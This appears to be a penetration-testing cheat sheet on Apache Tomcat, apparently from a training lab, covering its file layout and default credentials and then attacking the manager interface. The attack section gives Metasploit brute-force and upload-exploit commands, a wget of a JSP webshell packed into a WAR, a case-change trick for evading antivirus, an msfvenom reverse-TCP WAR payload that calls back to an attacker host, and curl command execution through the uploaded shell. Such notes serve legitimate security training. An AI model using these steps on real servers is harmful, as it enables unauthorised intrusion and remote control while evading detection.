Tomcat
101
Apache Tomcat is an open-source Java servlet container that hosts Java-based web applications. It is primarily used internally within organizations rather than as a public-facing web server.
A typical folder structure of a Tomcat installation:
├── bin # stores scripts and bins needed to start and run Tomcat
├── conf # config files
│ ├── catalina.policy
│ ├── catalina.properties
│ ├── context.xml
│ ├── tomcat-users.xml # user creds and roles, IMPORTANT FILE!!!
│ ├── tomcat-users.xsd
│ └── web.xml
├── lib # JAR files needed for proper functioning
├── logs # temp log files
├── temp # temp log files
├── webapps # default webroot, hosts all apps
│ ├── manager
│ │ ├── images
│ │ ├── META-INF
│ │ └── WEB-INF
| | └── web.xml
│ └── ROOT
│ └── WEB-INF
└── work # acts as a cache during runtime
└── Catalina
└── localhost The tomcat-users.xml file is used to control access to the /manager and /host-manager admin pages:
<?xml version="1.0" encoding="UTF-8"?>
<SNIP>
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.
Built-in Tomcat manager roles:
- manager-gui - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
The users below are wrapped in a comment and are therefore ignored. If you
wish to configure one or more of these users for use with the manager web
application, do not forget to remove the <!.. ..> that surrounds them. You
will also need to set the passwords to something appropriate.
-->
<SNIP>
!-- user manager can access only manager section -->
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<!-- user admin can access manager and admin section both -->
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
</tomcat-users>A typical webapps file structure:
webapps/customapp
├── images
├── index.jsp
├── META-INF
│ └── context.xml
├── status.xsd
└── WEB-INF
├── jsp # stores Jakarta Server Pages (like PHP files for Apache)
| └── admin.jsp
└── web.xml # deployment descriptor, MOST IMPORTANT FILE!!!
└── lib
| └── jdbc_drivers.jar
└── classes # stores compiled classes
└── AdminServlet.class The web.xml file stores info about the routes used by the app and their classes:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>AdminServlet</servlet-name>
<servlet-class>com.inlanefreight.api.AdminServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>AdminServlet</servlet-name>
<url-pattern>/admin</url-pattern>
</servlet-mapping>
</web-app> The above configuration defines a new servlet (AdminServlet) that is mapped to the com.inlanefreight.api.AdminServlet class. Java uses the dot notation to create package names, meaning the path on disk for this class would be:
classes/com/inlanefreight/api/AdminServlet.classNext, a new servlet mapping is created to map requests to /admin with AdminServlet. This configuration will send any request received for /admin to the AdminServlet.class class.
Footprinting
Tomcat servers can often be identified by the Server header in HTTP responses. If a reverse proxy is in place, accessing an invalid URL may still reveal Tomcat’s version:
Another method to detect Tomcat and its version is by visiting the default /docs page, which is usually left accessible unless explicitly removed by administrators:
$ curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author" Attacks
BFA
A Brute Force attack can be performed using MSF's tomcat_mgr_login module:
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > show actions
msf auxiliary(tomcat_mgr_login) > set ACTION < action-name >
msf auxiliary(tomcat_mgr_login) > show options
msf auxiliary(tomcat_mgr_login) > runRCE
A Web Application Archive (WAR) file is a convenient format used to deploy Java web applications on Tomcat quickly and to store backups of those applications. Tomcat’s GUI for managing deployments is located at /manager/html by default and is accessible only to users assigned the manager-gui role. Through this interface, an attacker with access can upload a malicious WAR file to compromise the server.
A JSP webshell can be packaged into a WAR file by simply zipping the webshell JSP file. Once uploaded via the manager interface, the WAR file is automatically extracted and deployed by Tomcat.
# Download a JSP webshell
$ wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
# Archive the webshell along with the WAR file
$ zip -r backup.war cmd.jsp
adding: cmd.jsp (deflated 81%)A more stealthy version of the JSP web shell can also be used in order to minimize footprint (<1KB) and possibly evade detections for standard JSP web shells. The default web shell gets detected by 2/58 AVs and a simple change drops that number down to 0.
// Default line
FileOutputStream(f);stream.write(m);o="Uploaded:
// Modified line
FileOutputStream(f);stream.write(m);o="uPlOaDeD:msfvenom can be used to generate a malicious WAR file:
sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.warThe tomcat_mgr_upload MSF module can be used to automate the process:
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) > show targets
...targets...
msf exploit(tomcat_mgr_upload) > set TARGET < target-id >
msf exploit(tomcat_mgr_upload) > show options
...show and set options...
msf exploit(tomcat_mgr_upload) > exploitAccessing the uploaded shell through its URL (e.g., /backup/cmd.jsp) allows remote command execution on the server.
$ curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=idNote that simply browsing to /backup redirects to /backup/ and typically returns a 404 error, so the full path to the JSP shell must be specified.
Cleanup: return to the Tomcat Manager page and Undeploy the application; this removes the uploaded WAR file and its extracted contents, restoring the server’s state.
Last updated
Was this helpful?